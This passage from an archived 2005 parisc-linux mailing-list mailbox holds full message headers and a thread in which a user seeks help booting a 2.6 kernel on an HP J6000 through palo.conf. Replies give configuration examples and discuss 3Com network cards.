cannot open root device "sda3" or unknownblock(2.0)
Please append a correct "root=" boot option
Kernel panic: VFS: Unable to mount root fs or unknown-block(2.0)

	I have seen one document which says I have to build a ramdisk, but it
doesn't tell me how. What's worse is that I can't get 2.4.26 to boot again
even though I have a symlink (vmlinux.old) to it. I tried changing line 0 to
1/boot/vmlinux.old (and deleting the "initrd=/initrd.img" line, but it still
boots 2.6.8. I even tried inserting a line saying
recoverykernel=/boot/vmlinux.old but that didn't help.

*************

	I'm sure there's an easy answer and maybe everyone is tired of answering
these kind of newbie questions, but I'm desperate, so I thought I'd try one
more time.

Thanks,

Harry


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Harry Cochran" <h.cochran@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Upgrading from 2.4 to 2.6
Date: Wed, 23 Feb 2005 16:27:55 -0500
Lines: 69
Approved: news@gmane.org
Message-ID: <FHEGKPBPFFGIFBGOANOKGENAEPAA.h.cochran@comcast.net>
References: <20050222210531.6c4fccc2@Tatooine.r3z0>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624535 26719 80.91.229.3 (22 Nov 2014 02:48:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:55 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>,
 <debian-hppa@lists.debian.org>
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Feb 2005 21:34:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx034) with SMTP; 23 Feb 2005 22:34:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB7C07D62E;
	Wed, 23 Feb 2005 14:34:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14090-08; Wed, 23 Feb 2005 14:34:51 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B54367D629;
	Wed, 23 Feb 2005 14:34:50 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFAAC7D615
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Feb 2005 14:34:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13922-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Feb 2005 14:34:47 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 55C557D611
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Feb 2005 14:34:47 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 1EF11495E35; Wed, 23 Feb 2005 14:34:05 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sccrmhc12.comcast.net (sccrmhc12.comcast.net [204.127.202.56])
	by palinux.hppa (Postfix) with ESMTP id C591049536A
	for <parisc-linux@parisc-linux.org>;
	Wed, 23 Feb 2005 14:34:04 -0700 (MST)
Original-Received: from bridgeman (h0002169c2280.ne.client2.attbi.com[24.218.38.88])
	by comcast.net (sccrmhc12) with SMTP
	id <2005022321340301200rqfa1e>; Wed, 23 Feb 2005 21:34:03 +0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-Originating-IP: [146.82.138.6]
In-Reply-To: <20050222210531.6c4fccc2@Tatooine.r3z0>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441
X-Original-To: debian-hppa@lists.debian.org
X-Rc-Spam: 2005-02-20_01
X-Rc-Virus: 2005-02-17_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_21_01
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-4.2 required=4.0 tests=AWL, IMPRONONCABLE_1,
	LDOSUBSCRIBER autolearn=no
	version=2.63-lists.debian.org_2005_02_21_01
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4199
X-Loop: debian-hppa@lists.debian.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tJp3KgkWTlIv47eQeGhrSVVGU2poZVnm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25106

Newbie mistake #1 was that I had the wrong (i386) cd. Now I can boot from
the hppa cd. However, the partition where I have /boot, SDA1, is listed
as -- Not Available --. So, I can't back out of the 2.6 install easily. Any
help on how to recover from here would be greatly appreciated.


Hi,

	Could someone please help me recover from a failed attempt to upgrade my
J6000 to 2.6?

	Looks like I can't boot the 2.4 kernel I have on the system because it's
name doesn't end in 32 or 64 (it ends in smp) -><-.

	My J6000 has a cd-rom, so I thought maybe I could boot from that, but sea
ipl doesn't find it.

Here's my original question:

*************

	Sorry for the newbie question, but I'm trying to boot 2.6 and I don't quite
understand how to set up the "root=" for it.

My palo.conf says:
--command line=1/boot/vmlinux root=/dev/sda3 HOME=/ initrd=/initrd.img
console=ttyS0 TERM=vt102
--recoverykernel=/boot/vmlinux
--init-partitioned=/dev/sda

Here's what my palo.conf generates on boot right now:

0 1/boot/vmlinux
1 root=/dev/sda3
2 HOME=/
3 initrd=/initrd.img
4 console=ttys0
5 TERM=vt102

On boot I get:

cannot open root device "sda3" or unknownblock(2.0)
Please append a correct "root=" boot option
Kernel panic: VFS: Unable to mount root fs or unknown-block(2.0)

	I have seen one document which says I have to build a ramdisk, but it
doesn't tell me how. What's worse is that I can't get 2.4.26 to boot again
even though I have a symlink (vmlinux.old) to it. I tried changing line 0 to
1/boot/vmlinux.old (and deleting the "initrd=/initrd.img" line, but it still
boots 2.6.8. I even tried inserting a line saying
recoverykernel=/boot/vmlinux.old but that didn't help.

*************

	I'm sure there's an easy answer and maybe everyone is tired of answering
these kind of newbie questions, but I'm desperate, so I thought I'd try one
more time.

Thanks,

Harry


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting 2.6
Date: Wed, 23 Feb 2005 14:40:33 -0700
Lines: 119
Approved: news@gmane.org
Message-ID: <20050223214033.GC26124@colo.lackof.org>
References: <20050222210531.6c4fccc2@Tatooine.r3z0>
	<FHEGKPBPFFGIFBGOANOKGEMLEPAA.h.cochran@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624536 26720 80.91.229.3 (22 Nov 2014 02:48:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:56 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Harry Cochran <h.cochran@comcast.net>
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Feb 2005 21:39:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 23 Feb 2005 22:39:48 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 038277D627;
	Wed, 23 Feb 2005 14:40:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14494-05; Wed, 23 Feb 2005 14:40:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1AB257D629;
	Wed, 23 Feb 2005 14:40:26 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E1D277D615
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Feb 2005 14:40:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14494-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Feb 2005 14:40:21 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7E6377D611
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Feb 2005 14:40:21 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 8A424495E35; Wed, 23 Feb 2005 14:39:39 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 49AF049536A
	for <parisc-linux@parisc-linux.org>;
	Wed, 23 Feb 2005 14:39:39 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D123129802F;
	Wed, 23 Feb 2005 14:40:34 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27089-05; Wed, 23 Feb 2005 14:40:33 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 21CD1298052; Wed, 23 Feb 2005 14:40:33 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <FHEGKPBPFFGIFBGOANOKGEMLEPAA.h.cochran@comcast.net>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RJR3KnRuTlIv47eQeGhrSVVGU2poZVkR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25107

On Wed, Feb 23, 2005 at 10:56:34AM -0500, Harry Cochran wrote:
> Hi,
> 
> 	Sorry for the newbie question, but I'm trying to boot 2.6 and I don't quite
> understand how to set up the "root=" for it.

The name of the root disk might have changed IFF you have more
than one disk installed/connected to the system.
Look through console output 
> 
> My palo.conf says:
> --command line=1/boot/vmlinux root=/dev/sda3 HOME=/ initrd=/initrd.img

I expect this needs to say:
	initrd=1/boot/initrd.img

I personally like to point palo/elilo/lilo directly
at the file to load by default (and not a symlink).

> console=tys0 TERM=vt102
> --recoverykernel=/boot/vmlinux
> --init-partitioned=/dev/sda
> 
> Here's what my palo.conf generates on boot right now:
> 
> 0 1/boot/vmlinux
> 1 root=/dev/sda3
> 2 HOME=/
> 3 initrd=/initrd.img
> 4 console=ttys0
> 5 TERM=vt102
> 
> On boot I get:
> 
> cannot open root device "sda3" or unknownblock(2.0)

Well, if the kernel expects devfs mounted or something else,
then you have to sort out which /dev files are needed.

I suspect more likely either the sym53c8xx driver didn't get
loaded (no initrd found possibly) or more than one disk
is installed and the device name changed.

> Please append a correct "root=" boot option
> Kernel panic: VFS: Unable to mount root fs or unknown-block(2.0)
> 
> 	I have seen one document which says I have to build a ramdisk, but it
> doesn't tell me how.

mkinitrd is the command you are looking for. But I don't use an
initrd on my boxes since I'm building my own kernels. The initrd
is most useful for generic kernel builds where one wants every
possible driver available as a potential root device.  Since I
build my own kernels and know which drivers are needed for root,
I don't really need an initrd.

?  What's worse is that I can't get 2.4.26 to boot again
> even though I have a symlink (vmlinux.old) to it. I tried changing line 0 to
> 1/boot/vmlinux.old, but it still boots 2.6.8. I even tried inserting a line
> saying recoverykernel=/boot/vmlinux.old but that didn't help.
> 
> 	Sounds easy ... just go to 2.6 (the solution to a problem I'm trying to
> implement), but for this newbie, it's anything but.

*nod*

Here's my palo.conf:
ioz:~# cat /etc/palo.conf  
--commandline=0/vmlinux-2.6.11-rc2-pa3-UP root=/dev/sda3 panic=5 console=ttyS1
--format-as=2
--update-partitioned=/dev/sda

[ I've also added "noudev" to the commandline on some of the machines. ]

ioz:~# fdisk -l /dev/sda
ioctl32(fdisk:4277): Unknown cmd fd(4) cmd(40081272){00} arg(faf005f0) on /dev/sda

Disk /dev/sda: 73.4 GB, 73407865856 bytes
255 heads, 63 sectors/track, 8924 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1          24      192748+  f0  Linux/PA-RISC boot
/dev/sda2              25         148      996030   82  Linux swap
/dev/sda3             149        2140    16000740   83  Linux
/dev/sda4            2141        8924    54492480   83  Linux

ioz:~# mount
/dev/sda3 on / type ext3 (rw,errors=remount-ro)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
tmpfs on /dev/shm type tmpfs (rw)
/dev/sda1 on /boot type ext2 (rw)
/dev/sda4 on /home type ext3 (rw)


I hope the above should get you on the right track.



> 
> 	Please help.
> 
> Thanks,
> 
> Harry
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NIC & "searching for devices"
Date: Sat, 26 Feb 2005 14:17:21 +0000
Lines: 68
Approved: news@gmane.org
Message-ID: <422084F1.1070404__29428.0674811036$1416624536$gmane$org@tiscali.be>
References: <e6eae02905022122345edc35f7@mail.gmail.com>	
	<420B30A200004CEC@mail-1-bnl.tiscali.it>
	<e6eae02905022222484ae1fdad@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624536 26722 80.91.229.3 (22 Nov 2014 02:48:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:56 +0000 (UTC)
Cc: Harry Cochran <h.cochran@comcast.net>,
 parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
To: Max Grabert <parisc@gmail.com>
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Feb 2005 14:17:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx054) with SMTP; 26 Feb 2005 15:17:47 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA4A97D633;
	Sat, 26 Feb 2005 07:18:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32740-10; Sat, 26 Feb 2005 07:18:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E234C7D637;
	Sat, 26 Feb 2005 07:18:18 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C3367D630
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Feb 2005 07:18:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32740-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Feb 2005 07:18:13 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A82467D62B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Feb 2005 07:18:13 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 46B0E495C90; Sat, 26 Feb 2005 07:17:27 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by palinux.hppa (Postfix) with ESMTP id C2A37495C8F
	for <parisc-linux@parisc-linux.org>;
	Sat, 26 Feb 2005 07:17:26 -0700 (MST)
Original-Received: from [83.134.226.130] (helo=[83.134.226.130])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1D52l0-0001CZ-To; Sat, 26 Feb 2005 15:17:23 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.5) Gecko/20050105 Debian/1.7.5-1
X-Accept-Language: en
In-Reply-To: <e6eae02905022222484ae1fdad@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: belLKoB8TlIv47eQeGhrSVVGU2poZdmf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25108

Hello Max,

Max Grabert wrote:
> On Tue, 22 Feb 2005 10:34:46 +0100, Joel Soete <soete.joel@tiscali.be> wrote:
> 
> [....]
> 
> 
>>Yes but I encountered weird difficulties (even on a i386 box) 
>>to configure a brother model 3C905B as needed:
>>see this old thread <http://lists.parisc-linux.org/pipermail/parisc-linux/2003-November/021619.html>
> 
> 
> kargellan:/home/xam# lspci
> 0000:00:0d.0 Ethernet controller: 3Com Corporation 3c905C TX/TX-M
> [Tornado] (rev 78)
> 0000:00:0e.0 Ethernet controller: 3Com Corporation 3c905B 100BaseTX
> [Cyclone] (rev 30)
mine was far older as far I could judge it was only a (rev 24)?

> 0000:00:0f.0 Ethernet controller: 3Com Corporation 3c905C-TX/TX-M
> [Tornado] (rev 78)
> [...]
> 
> As you can see this is a ix86 machine with three 3com NICs
> in it; It is running stable for almost 2 years now.
Right but atm I was still running 2.4 (I only start 2.6 later in late May 2004).
Event thought there was already some patch available for 2.4, I was a bit lazy and prefer to replace nic by another :-(
(my bad, I don't remember where did I save it to make new test, grrr)

> Right now it is
> running 2.6.11-rc4. BTW, all three network cards share one
> interrupt (IRQ 11), which is also used by the USB port.
> 
> And there is also my ix86 laptop that is using a 'vortex' network
> card, also running fine for almost 3 years now with many 
> different linux kernel.
> 
> I'd rather say either your network card is broken/of poor quality
mmm I would like to find back (just for the fun)

> or there are some compatibility issues with your ix86  motherboard.
or should just required a fw upgrade (if possible) or use more recent driver of 2.6?

> Anyway, this is going way off-topic ...
> 
Obviously, but the most anoying is that I lake of time right now (in prod we have to resurect a proj frozen during last three years 
and so required a lot of work to update: middle ware first, then os update and finlay hw and its corresponding os (hpux-11.11 in 
fact for new rp3xxx to replace oldtimer as D and K class :-) ).

> 
> In my experience 3Com often produced okay-nice cards, but
> sometimes they managed to release utter crap as well.
mmm I didn't suspect hw but may be fw or driver?

> IMHO there are better alternatives available (Intel/DEC), 
> where I don't have to take any risks.
>
Cool advise ;-)

Thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] xfs module in vmlinux-2.6.11-pa2-a500_defconfig
Date: Tue, 8 Mar 2005 10:24:54 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <16941.28518.183984.44335@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624536 26724 80.91.229.3 (22 Nov 2014 02:48:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:56 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Mar 2005 09:25:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx020) with SMTP; 08 Mar 2005 10:25:32 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 563F87D663;
	Tue,  8 Mar 2005 02:26:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02803-02; Tue, 8 Mar 2005 02:26:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 331A27D66B;
	Tue,  8 Mar 2005 02:26:14 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F09A67D662
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 02:26:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02619-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 8 Mar 2005 02:26:04 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 9473A7D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 02:26:04 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id E68774957B9; Tue,  8 Mar 2005 02:25:01 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by palinux.hppa (Postfix) with ESMTP id 566174957B6
	for <parisc-linux@parisc-linux.org>;
	Tue,  8 Mar 2005 02:25:01 -0700 (MST)
Original-Received: from mailhost.cs.tu-berlin.de (postfix@mail.cs.tu-berlin.de
	[130.149.17.13])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id KAA25652
	for <parisc-linux@parisc-linux.org>;
	Tue, 8 Mar 2005 10:24:55 +0100 (MET)
Original-Received: from localhost (localhost [127.0.0.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP id DF7F2F21B
	for <parisc-linux@parisc-linux.org>;
	Tue,  8 Mar 2005 10:24:54 +0100 (MET)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
	by localhost (bueno [127.0.0.1]) (amavisd-new, port 10224) with ESMTP
	id 01412-44 for <parisc-linux@parisc-linux.org>;
	Tue,  8 Mar 2005 10:24:54 +0100 (MET)
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP
	for <parisc-linux@parisc-linux.org>;
	Tue,  8 Mar 2005 10:24:54 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.12.10+Sun/8.12.8/Submit) id j289OsFl018089;
	Tue, 8 Mar 2005 10:24:54 +0100 (MET)
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
